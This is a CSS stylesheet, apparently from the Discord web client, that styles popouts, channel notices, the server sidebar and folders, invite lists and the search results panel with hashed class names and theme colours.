.popout-1Boju9 { width: 284px; border-radius: 5px; margin-left: 16px; padding: 16px; max-height: 348px; box-shadow: var(--elevation-high); background-color: var(--background-floating); }

.wrapper-2tAnRe { display: flex; -webkit-box-align: stretch; align-items: stretch; -webkit-box-flex: 0; flex: 0 0 auto; font-size: 12px; line-height: 20px; font-weight: 500; height: 20px; border-radius: 10px; overflow: hidden; color: var(--channels-default); }

.total-i6us2n, .users-3kndPl { display: block; text-align: center; }

.users-3kndPl { display: flex; -webkit-box-align: center; align-items: center; box-sizing: border-box; width: 28px; padding: 0px 8px 0px 6px; background-color: var(--background-primary); }

.users-3kndPl.video-35SpgT { width: 48px; }

.users-3kndPl.video-35SpgT.extraLong-3WkB9d { width: 56px; }

.users-3kndPl.extraLong-3WkB9d { width: 36px; }

.total-i6us2n { box-sizing: border-box; width: 20px; position: relative; padding: 0px 6px 0px 0px; background-color: var(--background-tertiary); }

.total-i6us2n.extraLong-3WkB9d { width: 28px; }

.total-i6us2n::after { content: ""; position: absolute; top: 0px; left: -8px; width: 0px; height: 0px; border-top: 20px solid transparent; border-bottom: 0px solid transparent; border-right-width: 8px; border-right-style: solid; border-right-color: var(--background-tertiary); }

.videoIcon-2ZdSMk { width: 16px; height: 16px; margin-right: 4px; }

.scroller-RmtA4e { z-index: 1; padding-right: 8px; }

.unread-15xhX5 { left: 0px; right: 0px; }

.unreadBar-3t3sYc::before { content: ""; position: absolute; inset: 0px -8px; }

.unreadBottom-1_LF_w { bottom: 0px; }

.unreadBottom-1_LF_w .unreadBar-3t3sYc::before { bottom: -8px; }

.positionedContainer-3LNR6L { position: relative; }

.unreadTop-3rAB3r { top: 0px; }

.unreadTop-3rAB3r .unreadBar-3t3sYc::before { top: -8px; }

.voiceUserSummary-2X_2vp { box-sizing: border-box; height: 34px; padding-left: 16px; display: flex; -webkit-box-align: center; align-items: center; }

.wrapper-1of1qT { position: relative; z-index: 100; }

.container-1j1Rzq { background: var(--brand-experiment); position: absolute; text-align: center; bottom: 0px; border-top-left-radius: 8px; border-top-right-radius: 8px; width: 100%; }

.content-2Z8ABS { padding: 10px 0px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.content-2Z8ABS, .header-32_gCF { display: flex; -webkit-box-align: center; align-items: center; }

.header-32_gCF { margin-top: 8px; -webkit-box-pack: center; justify-content: center; }

.headerText-3wbYEt { color: rgb(255, 255, 255); font-weight: 600; }

.subheaderText-3oYbjX { color: rgb(220, 221, 222); }

.betaTag-26MDxM { margin-left: 4px; color: var(--brand-experiment); background-color: rgb(255, 255, 255); text-transform: uppercase; }

.video-3TebLV { border-radius: 8px; }

.button-8dLTz_ { margin-top: 8px; }

.container-1taM1r { position: relative; }

.clickable-25tGDB { cursor: pointer; }

.animatedBannerHoverLayer-1laDtn { position: absolute; width: 100%; top: 48px; left: 0px; z-index: 100; cursor: default; }

.animatedContainer-1NSq4T { width: 100%; overflow: hidden; background-color: var(--background-modifier-active); box-shadow: var(--elevation-low); }

.animatedContainer-1NSq4T, .bannerImage-3KhIJ6 { position: absolute; height: 135px; top: 0px; left: 0px; }

.bannerImage-3KhIJ6 { width: 240px; }

.bannerImg-2NHyzX { object-fit: cover; }

.bannerImage-3KhIJ6::before { content: ""; position: absolute; top: 0px; left: 0px; width: 100%; height: 58px; background: linear-gradient(rgba(0, 0, 0, 0.4) 0px, transparent); }

.header-2V-4Sw { position: relative; font-family: var(--font-display); font-weight: 500; padding: 0px 16px; height: 48px; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; z-index: 3; transition: background-color 0.1s linear 0s; color: var(--header-primary); box-shadow: var(--elevation-low); }

.headerButton-3in1-b { position: absolute; inset: 0px; pointer-events: none; }

.headerChildren-u4cpg9 { position: relative; z-index: 4; }

.bannerVisible-2ZE_qG .header-2V-4Sw { color: rgb(255, 255, 255); filter: drop-shadow(rgba(0, 0, 0, 0.8) 0px 1px 1px); }

.clickable-25tGDB .header-2V-4Sw:hover, .selected-31Nl7x .header-2V-4Sw { background-color: var(--background-modifier-hover); }

.hasBanner-2SrLR3 .header-2V-4Sw, .hasBanner-2SrLR3 .header-2V-4Sw:hover { box-shadow: none; background-color: transparent; }

.bannerVisible-2ZE_qG .dropdown-2kjUTJ { opacity: 1; }

.name-1jkAdW { font-size: 15px; line-height: 20px; font-weight: 600; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; -webkit-box-flex: 1; flex: 1 1 0%; }

.container-1-C5h5 { position: relative; display: flex; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding: 20px; box-shadow: inset 0 -1px 0 var(--background-modifier-accent); }

.close-BW0DPh { position: absolute; right: 16px; top: 12px; width: 18px; height: 18px; cursor: pointer; color: var(--interactive-normal); }

.close-BW0DPh:hover { color: var(--interactive-hover); }

.closeIcon-14w1y- { width: 18px; height: 18px; }

.description-22HwXc { margin-top: 8px; margin-bottom: 16px; }

.art-ve5jc3 { background: url("https://discord.com/assets/9ea514c92124bc5c66501787a9c17e11.svg") 50% center / contain no-repeat; width: 120px; height: 96px; }

.channelNotice-I0gkZS { background-position: center top 20px; background-repeat: no-repeat; background-size: 153px; box-shadow: inset 0 -1px 0 var(--background-modifier-accent); padding: 20px; position: relative; }

.close-23i1G6 { color: var(--interactive-normal); cursor: pointer; position: absolute; right: 16px; width: 18px; height: 18px; top: 16px; z-index: 1; }

.close-23i1G6:hover { color: var(--interactive-hover); }

.closeIcon-2TcDv_ { width: 18px; height: 18px; }

.message-Pxv_7N { color: var(--text-normal); font-size: 14px; left: -10px; line-height: 18px; margin-top: 86px; position: relative; text-align: center; width: 220px; }

.checkStatusButton-DPQfTh { margin-top: 20px; }

.channelNotice-I0gkZS { background-image: url("https://discord.com/assets/0a14344c0e0bfe3a52aa245ecaaebca7.svg"); }

.channelNotice-FynH6x { background-repeat: no-repeat; background-position: center top 22px; background-size: 220px; padding: 20px; position: relative; box-shadow: inset 0 -1px 0 var(--background-modifier-accent); }

.close-LnghYe { position: absolute; right: 16px; top: 12px; width: 18px; height: 18px; cursor: pointer; color: var(--interactive-normal); z-index: 1; }

.close-LnghYe:hover { color: var(--interactive-hover); }

.closeIcon-3kDZmW { width: 18px; height: 18px; }

.message-Igt3Vd { font-size: 14px; line-height: 18px; color: var(--text-normal); margin-top: 8px; text-align: center; }

.guildAffinityPremiumSubscriptionButton-19aOzv { margin-top: 16px; }

.premiumGuildAnimationWrapper-1AcUcy { -webkit-box-align: center; align-items: center; display: flex; height: 100px; -webkit-box-pack: center; justify-content: center; overflow: hidden; width: 100%; z-index: 0; }

.premiumGuildAnimation-2SHxbs { -webkit-box-flex: 0; flex: 0 0 auto; height: 90px; width: 350px; }

.theme-light .channelNotice-FynH6x { background-image: url("https://discord.com/assets/77a640932672b4887e03822b70b6616a.svg"); }

.theme-dark .channelNotice-FynH6x { background-image: url("https://discord.com/assets/f3b0a49db207c14b4c5f71de331dfb9f.svg"); }

.channelNotice-1-XFjC { position: relative; text-align: center; padding: 73px 20px 20px; box-shadow: inset 0 -1px 0 var(--background-modifier-accent); }

.channelNotice-1-XFjC.guildMFAWarning-3GEzs8 { background: url("https://discord.com/assets/7866fb01d8b75b6fe9e6591373a0ddf2.svg") center 20px no-repeat; }

.channelNotice-1-XFjC.guildMFAWarning-3GEzs8 .message-3SOT5P { margin: 10px 0px; }

.channelNotice-1-XFjC.invite-OjTXrW { background: url("https://discord.com/assets/3fba9b3d08682f3ce0344e289fe668cb.svg") center 20px no-repeat; }

.channelNotice-1-XFjC.quickswitcher-35bYg4 { background: url("https://discord.com/assets/fda43f574092d89177a4412046f51c44.svg") center 35px no-repeat; padding: 100px 20px 20px; }

.channelNotice-1-XFjC.quickswitcher-35bYg4 .btn-11C5_u { text-transform: uppercase; font-weight: 500; }

.channelNotice-1-XFjC.hubStudyGroup-2vkfvS { background: url("https://discord.com/assets/48c9711c9fabbd43182bcaf602201b48.svg") center 35px no-repeat; padding: 100px 20px 20px; }

.channelNotice-1-XFjC.hubStudyGroup-2vkfvS .btn-11C5_u { font-weight: 600; width: 100%; }

.channelNotice-1-XFjC.hubStudyGroup-2vkfvS .title-1GVsKI { font-weight: 600; color: var(--header-primary); font-size: 16px; margin-bottom: 4px; }

.channelNotice-1-XFjC.hubStudyGroup-2vkfvS .description-lSY1f- { color: var(--header-secondary); font-size: 12px; }

.channelNotice-1-XFjC.premiumGuildSubscription-3oKecP { background: url("https://discord.com/assets/5e690f4c63a19a36bff7f6364eaa6ea2.svg") center 23px no-repeat; padding: 116px 20px 20px; }

.channelNotice-1-XFjC.premiumGuildSubscription-3oKecP .message-3SOT5P .btn-11C5_u { font-weight: 500; margin-top: 20px; }

.channelNotice-1-XFjC.premiumGuildSubscription-3oKecP .textLargeGuild-3s_k9p { margin-left: 1px; margin-right: 1px; }

.channelNotice-1-XFjC.maxMembersCount-3E4zND { background: url("https://discord.com/assets/816e71b3225c71bc105db7209fb4b796.svg") center 16px no-repeat; padding: 112px 16px 16px; }

.channelNotice-1-XFjC a, .close-relY5R { cursor: pointer; }

.close-relY5R { position: absolute; right: 16px; top: 12px; width: 18px; height: 18px; color: var(--interactive-normal); }

.close-relY5R:hover { color: var(--interactive-hover); }

.closeIcon-2eaC4U { width: 18px; height: 18px; }

.message-3SOT5P { font-size: 14px; line-height: 18px; color: var(--text-normal); margin-top: 8px; }

.message-3SOT5P .btn-11C5_u { margin: 16px auto 0px; }

.channelNotice-3I83Cr { margin-left: 16px; margin-right: 16px; margin-top: 16px; padding-bottom: 16px; border-bottom: 1px solid var(--background-primary); }

.textBlock-3g5mk_ { margin: 4px auto; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; white-space: nowrap; }

.liveNowText-3D_lqQ { text-transform: uppercase; font-weight: 700; margin-left: 4px; }

.eventName-10gJT4 { margin-bottom: 4px; font-weight: 600; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; }

.channelName-3kcYVO, .eventName-10gJT4 { overflow: hidden; text-overflow: ellipsis; }

.dotDivider-1v8Dih { margin-left: 4px; margin-right: 4px; }

.liveIndicator-1MhhnA { width: 8px; height: 8px; border-radius: 8px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.stageIcon-30nbHU { color: var(--header-secondary); margin-right: 4px; }

.userNames-27NSTk { margin-left: 4px; overflow: hidden; text-overflow: ellipsis; }

.joinButton-4zfTSE { margin-top: 12px; }

.closeIcon-186V0V { color: var(--header-secondary); margin-left: auto; cursor: pointer; }

.container-1d-xkt { padding: 24px 19px 20px; position: relative; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; background-color: var(--background-secondary-alt); text-align: center; }

.container-1d-xkt, .imageContainer-3qzonG { display: flex; }

.imageContainer-3qzonG { margin-left: 18px; margin-right: 18px; }

.image-2W1L6V { width: 100%; }

.cta-1CffY_, .text-2rRMrj { margin-top: 16px; }

.container-2xfaej { position: relative; display: flex; text-align: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; padding: 20px; box-shadow: inset 0 -1px 0 var(--background-modifier-accent); }

.description-2u__GG { margin-top: 8px; margin-bottom: 16px; }

.backgroundArt-1PPYxK { background: url("https://discord.com/assets/1f58110010129cdf4ea06a1d6e497590.svg") 50% center / contain no-repeat; width: 100%; height: 160px; }

.icon-2153B3 { color: var(--header-secondary); margin-right: 4px; }

@-webkit-keyframes pulse-30Y3VU { 
  0% { opacity: 0.7; }
  100% { opacity: 1; }
}

@keyframes pulse-30Y3VU { 
  0% { opacity: 0.7; }
  100% { opacity: 1; }
}

.container-JPloBS { padding: 16px 8px; animation: 5s ease-in-out 0s infinite alternate none running pulse-30Y3VU; height: 100%; overflow: hidden; }

.bannerPadding-NA0hyi { padding-top: 104px; }

.category-2SZJwK { height: 16px; width: 77px; border-radius: 4px; margin-bottom: 18px; background-color: var(--background-accent); }

.spacer-No5vWQ { height: 1px; width: 100px; margin: 16px 0px; }

.channel-2UjLhw { display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; margin-bottom: 18px; }

.channelIcon-CCo35e { width: 16px; border-radius: 16px; margin: 0px 8px; }

.channelIcon-CCo35e, .channelName-3y9uE0 { height: 16px; background-color: var(--background-accent); }

.channelName-3y9uE0 { border-radius: 8px; }

.container-2QQFFz { padding: 0px 20px; }

.row-35Mhio { height: 62px; position: relative; font-size: 16px; line-height: 20px; }

.row-35Mhio:hover .revokeInvite-2KlrFs { opacity: 1; }

.row-35Mhio::after { content: ""; position: absolute; bottom: -1px; left: -18px; right: -18px; height: 1px; z-index: -1; }

.boostZIndex-15qgGS { z-index: 2; }

.userColumn-3TGvQA { width: 280px; }

.code-16ahh6 { user-select: text; opacity: 0.6; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.code-16ahh6, .username-xgZTi8 { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.username-xgZTi8 { font-weight: 500; margin-left: 8px; }

.avatar-Tg15I6 { -webkit-box-flex: 0; flex: 0 0 auto; width: 20px !important; height: 20px !important; }

.discrimClass-dYDxPL { opacity: 0.6; }

.revokeInvite-2KlrFs { z-index: 2; position: absolute; top: -12px; right: -31px; opacity: 0; transition: opacity 0.1s ease 0s; }

.alignRight-1lRNxs { text-align: right; }

.countdown-2VKTMl { font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; }

.theme-dark .row-35Mhio { color: rgb(246, 246, 247); }

.theme-dark .row-35Mhio::after { background-color: rgba(255, 255, 255, 0.04); }

.theme-light .row-35Mhio { color: rgb(79, 84, 92); }

.theme-light .row-35Mhio::after { background-color: rgba(79, 84, 92, 0.04); }

.wrapper-sa6paO { position: relative; overflow: hidden; width: 8px; height: 48px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; contain: size layout; }

.item-2hkk8m { position: absolute; display: block; width: 8px; border-radius: 0px 4px 4px 0px; margin-left: -4px; background-color: var(--header-primary); }

.wrapper-25eVIn { box-sizing: border-box; position: relative; width: 48px; height: 48px; cursor: pointer; }

.wrapperSimple-19ogV2 { border-radius: 50%; overflow: hidden; }

.svg-1X37T1 { box-sizing: border-box; position: absolute; top: 0px; left: 0px; width: 48px; height: 48px; }

.lowerBadge-29hYVK { bottom: 0px; }

.lowerBadge-29hYVK, .upperBadge-2XnnGB { pointer-events: none; position: absolute; right: 0px; }

.upperBadge-2XnnGB { top: 0px; }

.focusStroke-1ApElc { stroke: transparent; stroke-width: 0; }

.focusFill-3Y4YuU, .focusStroke-1ApElc { fill: transparent; }

.keyboard-mode .focusStroke-1ApElc { fill: var(--focus-primary); stroke: var(--focus-primary); stroke-width: 8px; }

.keyboard-mode .focusFill-3Y4YuU { fill: var(--background-tertiary); }

.keyboard-mode .simpleFocused-1xIlHX { box-shadow: 0 0 0 4px var(--focus-primary); }

.wrapper-1BJsBx { transition: background-color 0.1s ease-out 0s, color 0.1s ease-out 0s; }

.childWrapper-anI2G9, .wrapper-1BJsBx { display: flex; width: 48px; height: 48px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.childWrapper-anI2G9 { transition: background-color 0.15s ease-out 0s, color 0.15s ease-out 0s; background-color: var(--background-primary); color: var(--text-normal); }

.wrapper-1BJsBx.selected-bZ3Lue .childWrapper-anI2G9, .wrapper-1BJsBx:hover .childWrapper-anI2G9 { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.acronym-2mOFsV { font-weight: 500; line-height: 1.2em; white-space: nowrap; }

.icon-27yU2q { display: block; width: 48px; height: 48px; object-fit: cover; pointer-events: none; }

.listItemWrapper-2MsAsM:active { transform: translateY(1px) translateZ(0px); }

.listItemTooltip-1lbqWB { max-width: 196px; font-size: 16px; line-height: 20px; font-weight: 600; overflow-wrap: break-word; }

.listItem-2Ig28I { position: relative; margin: 0px 0px 8px; display: flex; -webkit-box-pack: center; justify-content: center; width: 72px; }

.unavailableBadge-yDxUFG { background-color: rgb(255, 255, 255); color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) !important; }

.iconBadge-1Prgh2 { background-color: var(--background-accent); }

.iconBadge-1Prgh2.participating-1CYXS2 { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.tutorialContainer-3alCZm { position: relative; }

.pill-1Z5PKm { position: absolute; top: 0px; left: 0px; }

.circleIconButton-hZmpE8 { cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; box-sizing: border-box; width: 48px; height: 48px; transition: color 0.15s ease-out 0s, background-color 0.15s ease-out 0s; color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-color: var(--background-primary); }

.circleIconButton-hZmpE8.selected-3mFF3I { color: rgb(255, 255, 255); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.circleIcon-2_77lA { width: 24px; height: 24px; }

.pill-61ft1C { position: absolute; top: 0px; left: 0px; }

.wrapper-2q53zr { position: absolute; inset: -16px 0px -4px; pointer-events: none; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: stretch; align-items: stretch; }

.target-3LqNfV { -webkit-box-flex: 1; flex: 1 0 50%; }

.target-3LqNfV.dragOver-Iim8_W::before { content: ""; position: absolute; z-index: 1; top: 10px; left: 4px; right: 4px; height: 4px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 2px; box-shadow: rgba(0, 0, 0, 0.3) 0px 0px 3px; }

.centerTarget-1vR_1- { -webkit-box-flex: 1; flex: 1 0 50%; }

.centerTarget-1vR_1-.dragOver-Iim8_W::before { content: ""; position: absolute; z-index: 1; top: 32px; left: 4px; margin: auto; width: 16px; height: 16px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-radius: 50%; box-shadow: rgba(0, 0, 0, 0.3) 0px 0px 3px; }

.autoPointerEvents-3UGDkq { pointer-events: auto; }

.folderEndWrapper-QowIkS { position: relative; height: 0px; }

.folderEndWrapper-QowIkS.wrapperOver-1e1M8c { height: 24px; }

.folderTarget-2trYs8 { position: absolute; top: -24px; left: 0px; right: 0px; height: 24px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: justify; justify-content: space-between; pointer-events: none; }

.folderTarget-2trYs8 .dragOver-Iim8_W::before { top: unset; bottom: 0px; }

.upsellTooltip-2x3sfz { display: flex; }

.upsellIcon-3SHo1E { -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; margin-left: -6px; }

.upsellText-Q3JytF { -webkit-box-flex: 1; flex: 1 1 auto; line-height: 22px; }

.nitroUpsell-27TJ8P { background: linear-gradient(135deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); color: rgb(255, 255, 255); }

.nitroUpsellIcon-3nswvd { }

.progressCircle-1hzs_b { position: relative; width: 100%; height: 100%; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; color: hsl(197,calc(var(--saturation-factor, 1)*100%),47.8%); }

.circle-vWlbvd { position: absolute; inset: 0px; }

.circleBackgroundAlt-Eohdst { fill: rgba(0, 0, 0, 0.2); }

.circleBackground-OqqxHM { fill: var(--background-accent); }

.circleProgress-1EBmVn { fill: none; }

.circleOverlay-2WHDjO { position: relative; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.progressContainer-GRWlbC { width: 20px; height: 20px; position: relative; }

.downloadIcon-3TWA3B { position: relative; color: rgb(255, 255, 255); width: 100%; height: 100%; padding: 4px; }

.modal-2Lmpu0 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: 700px; }

.information-34_WSh { padding: 20px; -webkit-box-flex: 1; flex-grow: 1; }

.body-3LnUjB { line-height: 20px; margin-top: 20px; }

.card-8mY5hz { padding: 0px 20px 20px; flex-shrink: 0; width: 400px; height: 100%; background-color: rgb(47, 49, 54); border-radius: 0px 5px 5px 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; justify-content: space-around; }

.image-23YBsm { position: absolute; bottom: 0px; left: 0px; width: 300px; }

.pill-gcH-8B { position: absolute; top: 0px; left: 0px; }

.downloadProgress-3y75S3 { position: relative; top: -2px; right: -2px; }

.homeIcon-AaowEC { display: block; width: 28px; height: 20px; }

.tutorialContainer-11ICd5 { position: relative; }

.dragInner-2jqmg1 { width: 48px; height: 48px; background-color: var(--background-primary); }

.placeholderMask-1gr-sz { display: block; }

.wrapper-shyHJt { position: relative; width: 72px; }

.wrapper-shyHJt:active { transform: translateZ(0px); }

.expandedFolderBackground-3ZDF05 { position: absolute; top: 0px; left: 12px; bottom: 8px; width: 48px; border-radius: 24px; transition: background-color 0.15s ease-out 0s; background-color: var(--background-secondary); }

.expandedFolderBackground-3ZDF05.collapsed-2Zqqnx, .expandedFolderBackground-3ZDF05.collapsed-2Zqqnx.hover-vBJrIv { background-color: transparent; }

.folderIconWrapper-1Ml_1q { border-radius: 16px; overflow: hidden; }

.folder-2w6LX1, .folderIconWrapper-1Ml_1q { width: 48px; height: 48px; transition: background-color 0.15s ease-out 0s; }

.folder-2w6LX1 { cursor: pointer; background-color: var(--background-secondary); }

.folder-2w6LX1.hover-vBJrIv { background-color: var(--background-primary); }

.closedFolderIconWrapper-1I9YfS { width: 48px; height: 48px; padding: 4px; box-sizing: border-box; display: grid; grid-template-rows: 1fr 1fr; grid-template-columns: 1fr 1fr; grid-template-areas: none; place-items: center; -webkit-box-align: center; }

.folderIconPreview-3ANx1O { border-radius: 50%; }

.folderIconPreview-3ANx1O .guildIcon-d5nahd { background-color: transparent; }

.miniPlaceholder-PTzu33 { width: 15px; height: 15px; }

.expandedFolderIconWrapper-3fmTfW { width: 48px; height: 48px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.guildIcon-d5nahd { overflow: hidden; position: static; }

.guildIconUnavailable-2ADFEa { width: 16px; height: 16px; border-radius: 50%; font-size: 8px; font-weight: 700; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background: var(--background-primary); color: var(--header-primary); border: 1px solid hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.blobContainer-tHk012:active { position: relative; transform: translateY(1px) translateZ(0px); backface-visibility: hidden; }

.pill-ZqtR4i { position: absolute; left: 0px; top: 0px; }

.sorting-3vyoL7 { pointer-events: none; }

@-webkit-keyframes wobble-35H26H { 
  0%, 100% { transform: rotate(0deg); }
  25% { transform: rotate(2deg); }
  75% { transform: rotate(-2deg); }
}

@keyframes wobble-35H26H { 
  0%, 100% { transform: rotate(0deg); }
  25% { transform: rotate(2deg); }
  75% { transform: rotate(-2deg); }
}

.wobble-35H26H { animation-name: wobble-35H26H; animation-duration: 0.2s; animation-iteration-count: infinite; transform-origin: 50% 30%; }

.guildSeparator-nWMCrR { height: 2px; width: 32px; border-radius: 1px; background-color: var(--background-modifier-accent); }

.guildsError-2VPh_z { width: 48px; height: 48px; border-radius: 50%; padding: 0px; font-size: 20px; box-sizing: border-box; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: var(--background-primary); color: var(--text-normal); border: 2px solid hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); transition: background-color 0.15s ease-out 0s; }

.errorInner-2ih152 { font-weight: 700; }

.guildsError-2VPh_z:hover { text-decoration: none; color: rgb(255, 255, 255); border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.pendingIcon-2FVkgM { color: var(--text-normal); }

.wrapper-3NnKdC { overflow: hidden; display: flex; width: 72px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; flex-shrink: 0; position: relative; background-color: var(--background-tertiary); }

.wrapper-3NnKdC.hidden-3dXt4k { width: 0px; visibility: hidden; }

.platform-osx .wrapper-3NnKdC { margin-top: 32px; }

.tree-2wKJdG { display: flex; height: 100%; }

.scroller-1Bvpku { user-select: none; padding: 12px 0px 0px; background-color: var(--background-tertiary); contain: size layout; }

.scroller-1Bvpku.scrolling-3wBKsn > * { pointer-events: none; }

.platform-win .scroller-1Bvpku { padding-top: 4px; }

.platform-osx .scroller-1Bvpku { padding-top: 0px; }

.platform-overlay .scroller-1Bvpku { padding-top: 12px; }

.unreadMentionsIndicatorBottom-2mDYbI, .unreadMentionsIndicatorTop-2-tcdU { position: absolute; left: 0px; right: 0px; z-index: 10; overflow: hidden; padding: 8px; height: 40px; pointer-events: none; width: 72px; box-sizing: border-box; }

.unreadMentionsIndicatorTop-2-tcdU { padding-top: 8px; }

.unreadMentionsIndicatorBottom-2mDYbI { padding-bottom: 8px; }

.unreadMentionsBar-1Bu1dC::before { position: absolute; inset: 0px -8px; content: ""; }

.unreadMentionsIndicatorTop-2-tcdU { top: 0px; }

.unreadMentionsIndicatorTop-2-tcdU .unreadMentionsBar-1Bu1dC::before { top: -8px; }

.unreadMentionsIndicatorBottom-2mDYbI { bottom: 0px; }

.unreadMentionsIndicatorBottom-2mDYbI .unreadMentionsBar-1Bu1dC::before { bottom: -8px; }

.page-AM7215 { background-color: var(--background-floating); width: 100%; height: 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.contentWrapper-3eBBQ_, .page-AM7215 { display: flex; }

.contentWrapper-3eBBQ_ { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; max-width: 720px; max-height: 640px; border-radius: 4px; background-color: var(--background-primary); }

.platform-osx .dragRegion-3YSHSw { -webkit-app-region: drag; }

.dragRegion-3YSHSw { position: absolute; top: 0px; left: 0px; width: 100%; height: 100px; }

.searchAnswer-3Dz2-q { padding: 0px 2px; margin-right: 2px; margin-left: -2px; border-radius: 0px 2px 2px 0px; }

.searchFilter-2ESiM3 { padding: 0px 2px; border-radius: 2px 0px 0px 2px; }

.searchFilter-2ESiM3 + .searchFilter-2ESiM3 { margin-left: 2px; }

.searchFilter-2ESiM3:first-child { margin-left: -2px; }

.searchAnswer-3Dz2-q, .searchFilter-2ESiM3 { display: inline-block; height: 20px; color: rgb(255, 255, 255); }

.theme-light .searchAnswer-3Dz2-q, .theme-light .searchFilter-2ESiM3 { background-color: rgb(114, 118, 125); }

.theme-dark .searchAnswer-3Dz2-q, .theme-dark .searchFilter-2ESiM3 { background-color: rgb(52, 56, 61); }

.container-3ayLPN { box-sizing: border-box; border-radius: 3px; overflow: hidden; }

.container-3ayLPN:empty { box-shadow: none; }

.queryContainer-RKFJW- { padding: 15px; display: flex; cursor: pointer; border-bottom: 1px solid; }

.queryShortcut-hJIQMF { -webkit-box-flex: 0; flex: 0 0 auto; }

.queryText-3xoOY7 { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; line-height: 24px; font-size: 12px; text-transform: uppercase; }

.queryText-3xoOY7 strong { font-size: 15px; text-transform: none; }

.theme-dark .container-3ayLPN { background-color: rgb(54, 57, 63); }

.theme-dark .queryContainer-RKFJW- { color: rgb(185, 187, 190); border-bottom-color: hsla(214,calc(var(--saturation-factor, 1)*9.1%),15.1%,0.3); }

.theme-dark .queryContainer-RKFJW- strong { color: rgb(255, 255, 255); }

.theme-dark .focused-2bY0OD { background-color: hsl(214,calc(var(--saturation-factor, 1)*9.1%),15.1%); }

.theme-light .container-3ayLPN { background-color: rgb(255, 255, 255); }

.theme-light .queryContainer-RKFJW- { color: rgb(114, 118, 125); border-bottom-color: rgb(220, 221, 222); }

.theme-light .queryContainer-RKFJW- strong { color: rgb(79, 84, 92); }

.theme-light .focused-2bY0OD { background-color: rgb(246, 246, 247); }

.resultsGroup-r_nuzN { position: relative; padding-top: 10px; padding-bottom: 10px; margin-top: -1px; }

.resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .resultsGroup-r_nuzN .searchLearnMore-3SQUAj { opacity: 0.6; }

.resultsGroup-r_nuzN::before { content: ""; display: block; position: relative; top: -10px; margin: 0px 20px; }

.resultsGroup-r_nuzN .header-2N-gMV { font-weight: 500; font-size: 12px; text-transform: uppercase; padding: 5px 20px 10px; }

.resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .resultsGroup-r_nuzN .searchLearnMore-3SQUAj { position: absolute; top: 12px; width: 16px; height: 16px; cursor: pointer; opacity: 0.8; }

.resultsGroup-r_nuzN .searchClearHistory-2cSSMO:hover, .resultsGroup-r_nuzN .searchLearnMore-3SQUAj:hover { opacity: 1; }

.resultsGroup-r_nuzN .searchClearHistory-2cSSMO svg, .resultsGroup-r_nuzN .searchLearnMore-3SQUAj svg { width: 16px; height: 16px; }

.resultsGroup-r_nuzN .searchLearnMore-3SQUAj { right: 17px; }

.resultsGroup-r_nuzN .searchClearHistory-2cSSMO { right: 16px; }

.resultsGroup-r_nuzN .searchLearnMore-3SQUAj a { display: block; width: 100%; height: 100%; overflow: hidden; }

